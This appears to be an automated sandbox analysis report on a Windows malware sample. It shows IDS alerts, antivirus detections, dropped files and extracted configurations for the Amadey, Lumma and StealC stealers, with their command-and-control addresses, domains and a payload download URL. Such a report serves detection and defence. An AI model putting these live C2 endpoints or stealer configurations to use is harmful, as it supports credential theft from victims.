2024-12-16T15:02:27.816441+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49919	104.21.50.161	443	TCP
2024-12-16T15:02:30.653461+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49926	104.21.50.161	443	TCP
2024-12-16T15:02:32.985259+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49932	104.21.50.161	443	TCP
2024-12-16T15:02:35.551196+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49954	104.21.50.161	443	TCP
2024-12-16T15:02:35.786667+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49955	104.21.50.161	443	TCP
2024-12-16T15:02:39.289981+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49963	104.21.50.161	443	TCP
2024-12-16T15:03:06.619132+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50057	104.21.50.161	443	TCP
2024-12-16T15:03:08.618738+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50062	104.21.50.161	443	TCP
2024-12-16T15:03:11.620388+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50072	104.21.50.161	443	TCP
2024-12-16T15:03:13.665670+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50075	104.21.50.161	443	TCP
2024-12-16T15:03:15.798898+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50077	104.21.50.161	443	TCP
2024-12-16T15:03:18.045719+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50098	104.21.50.161	443	TCP
2024-12-16T15:03:20.606356+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50116	104.21.50.161	443	TCP
2024-12-16T15:03:23.855758+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50121	104.21.50.161	443	TCP
2024-12-16T15:04:34.067065+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50202	104.21.50.161	443	TCP
2024-12-16T15:04:36.058811+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50204	104.21.50.161	443	TCP
2024-12-16T15:04:39.705328+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50215	104.21.50.161	443	TCP
2024-12-16T15:04:42.415066+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50217	104.21.50.161	443	TCP
2024-12-16T15:04:46.159153+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50221	104.21.50.161	443	TCP
2024-12-16T15:04:46.160002+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50220	104.21.50.161	443	TCP
2024-12-16T15:04:48.961049+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50224	104.21.50.161	443	TCP
2024-12-16T15:04:49.171148+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50225	104.21.50.161	443	TCP
2024-12-16T15:04:51.808762+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50226	104.21.50.161	443	TCP
2024-12-16T15:04:52.003943+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50228	104.21.50.161	443	TCP
2024-12-16T15:04:53.890750+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50229	104.21.50.161	443	TCP
2024-12-16T15:04:55.546046+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50232	104.21.50.161	443	TCP
2024-12-16T15:04:56.239977+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50233	104.21.50.161	443	TCP
2024-12-16T15:05:00.181591+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50236	104.21.50.161	443	TCP
2024-12-16T15:05:04.340034+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50239	104.21.50.161	443	TCP
2024-12-16T15:05:09.021393+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50268	104.21.50.161	443	TCP
2024-12-16T15:05:19.094264+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50286	104.21.50.161	443	TCP
2024-12-16T15:05:21.499858+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50287	104.21.50.161	443	TCP
2024-12-16T15:05:24.181457+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50290	104.21.50.161	443	TCP
2024-12-16T15:05:26.561436+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50293	104.21.50.161	443	TCP
2024-12-16T15:05:29.014583+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50296	104.21.50.161	443	TCP
2024-12-16T15:05:31.218447+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50297	104.21.50.161	443	TCP
2024-12-16T15:05:33.375406+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50299	104.21.50.161	443	TCP
2024-12-16T15:05:36.439737+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	50301	104.21.50.161	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:41.520337+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49975	185.215.113.16	80	TCP
2024-12-16T15:03:27.279520+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50124	185.215.113.16	80	TCP
2024-12-16T15:04:59.830563+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50235	185.215.113.16	80	TCP
2024-12-16T15:05:12.167291+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50280	185.215.113.16	80	TCP
2024-12-16T15:05:38.740024+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50303	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:17.991663+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49890	185.215.113.43	80	TCP
2024-12-16T15:02:26.313489+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49913	185.215.113.43	80	TCP
2024-12-16T15:02:33.398880+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49933	185.215.113.43	80	TCP
2024-12-16T15:02:43.452708+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49983	185.215.113.43	80	TCP
2024-12-16T15:02:56.711054+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50033	185.215.113.43	80	TCP
2024-12-16T15:03:03.523028+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50050	185.215.113.43	80	TCP
2024-12-16T15:03:16.379685+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50081	185.215.113.43	80	TCP
2024-12-16T15:03:22.817261+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50120	185.215.113.43	80	TCP
2024-12-16T15:03:41.721747+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50153	185.215.113.43	80	TCP
2024-12-16T15:04:35.893703+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50203	185.215.113.43	80	TCP
2024-12-16T15:04:41.302343+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50216	185.215.113.43	80	TCP
2024-12-16T15:04:46.515307+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50222	185.215.113.43	80	TCP
2024-12-16T15:04:52.084797+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50227	185.215.113.43	80	TCP
2024-12-16T15:09:26.899707+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50439	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:45.458648+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50156	138.124.34.218	80	TCP
2024-12-16T15:03:47.096278+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50160	138.124.34.218	80	TCP
2024-12-16T15:03:56.342369+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50173	138.124.34.218	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:06.353503+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.6	62652	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:06.648930+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.6	54405	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:05.915892+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.6	60088	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:06.132636+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.6	53330	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:07.104188+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.6	50193	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:06.886050+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.6	63256	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:05.322303+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.6	52923	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:15.677932+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.6	58251	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:05.537878+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.6	53279	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:26.787534+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49911	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:26.666257+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49911	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:27.107428+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49911	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:28.709184+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49911	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:27.240327+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49911	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:31.652045+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49926	104.21.50.161	443	TCP
2024-12-16T15:03:12.399635+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50072	104.21.50.161	443	TCP
2024-12-16T15:04:50.347660+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50225	104.21.50.161	443	TCP
2024-12-16T15:05:27.654362+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50293	104.21.50.161	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:26.222371+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49911	185.215.113.206	80	TCP
2024-12-16T15:03:26.468538+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50123	185.215.113.206	80	TCP
2024-12-16T15:03:34.669056+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50127	185.215.113.206	80	TCP
2024-12-16T15:03:40.374628+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50145	185.215.113.206	80	TCP
2024-12-16T15:03:48.043136+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50158	185.215.113.206	80	TCP
2024-12-16T15:04:40.319944+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50214	185.215.113.206	80	TCP
2024-12-16T15:04:55.369691+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50230	185.215.113.206	80	TCP
2024-12-16T15:05:10.894814+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50275	185.215.113.206	80	TCP
2024-12-16T15:05:22.839982+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50289	185.215.113.206	80	TCP
2024-12-16T15:05:28.502052+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50294	185.215.113.206	80	TCP
2024-12-16T15:05:49.430368+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50307	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:28.336764+0100	2856121	1	A Network Trojan was detected	192.168.2.6	50125	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:06.115602+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49856	185.215.113.43	80	TCP
2024-12-16T15:07:28.269463+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50387	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:16.525893+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49865	TCP
2024-12-16T15:04:30.895657+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50200	TCP
2024-12-16T15:09:25.543636+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50436	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:10.691147+0100	2803305	3	Unknown Traffic	192.168.2.6	49867	185.215.113.16	80	TCP
2024-12-16T15:02:19.446667+0100	2803305	3	Unknown Traffic	192.168.2.6	49892	185.215.113.16	80	TCP
2024-12-16T15:02:27.789709+0100	2803305	3	Unknown Traffic	192.168.2.6	49918	185.215.113.16	80	TCP
2024-12-16T15:02:34.995175+0100	2803305	3	Unknown Traffic	192.168.2.6	49938	185.215.113.16	80	TCP
2024-12-16T15:02:44.970126+0100	2803305	3	Unknown Traffic	192.168.2.6	49990	31.41.244.11	80	TCP
2024-12-16T15:02:58.182934+0100	2803305	3	Unknown Traffic	192.168.2.6	50037	31.41.244.11	80	TCP
2024-12-16T15:03:05.014197+0100	2803305	3	Unknown Traffic	192.168.2.6	50054	31.41.244.11	80	TCP
2024-12-16T15:03:17.933331+0100	2803305	3	Unknown Traffic	192.168.2.6	50096	31.41.244.11	80	TCP
2024-12-16T15:03:24.306498+0100	2803305	3	Unknown Traffic	192.168.2.6	50122	31.41.244.11	80	TCP
2024-12-16T15:03:29.789139+0100	2803305	3	Unknown Traffic	192.168.2.6	50126	31.41.244.11	80	TCP
2024-12-16T15:09:22.164954+0100	2803305	3	Unknown Traffic	192.168.2.6	50437	38.114.102.230	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:29.457448+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	185.215.113.206	80	TCP
2024-12-16T15:02:58.595747+0100	2803304	3	Unknown Traffic	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:00.702436+0100	2803304	3	Unknown Traffic	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:02.015744+0100	2803304	3	Unknown Traffic	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:03.192012+0100	2803304	3	Unknown Traffic	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:06.753863+0100	2803304	3	Unknown Traffic	192.168.2.6	50030	185.215.113.206	80	TCP
2024-12-16T15:03:07.875164+0100	2803304	3	Unknown Traffic	192.168.2.6	50030	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:22.496990+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50116	104.21.50.161	443	TCP
2024-12-16T15:05:35.217274+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50299	104.21.50.161	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:03:09.722822+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50063	104.121.10.34	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://tacitglibbr.biz/apiwDnl	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/dsTvq	Avira URL Cloud: Label: malware
Source: http://home.twentygr20sb.top/kNcZsqQOSglxukmuLodY1734167391?argument=sypEa2ygPYYA5Tt31734357798	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/burpin1/random.exe/	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpaE	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\VX0YIFPA9O6IUSKA42AUY9.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000005.00000003.2284187628.0000000005020000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 90c05232da.exe.7440.20.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["deafeninggeh.biz", "diffuculttan.xyz", "debonairnukk.xyz", "tacitglibbr.biz", "effecterectz.xyz", "awake-weaves.cyou", "immureprech.biz", "wrathful-jammy.cyou", "sordid-snaked.cyou"], "Build id": "PsFKDg--pablo"}
Source: ba324316e4.exe.5672.18.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1016131001\8525fc48e0.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\VX0YIFPA9O6IUSKA42AUY9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.6:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.6:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50205 version: TLS 1.2
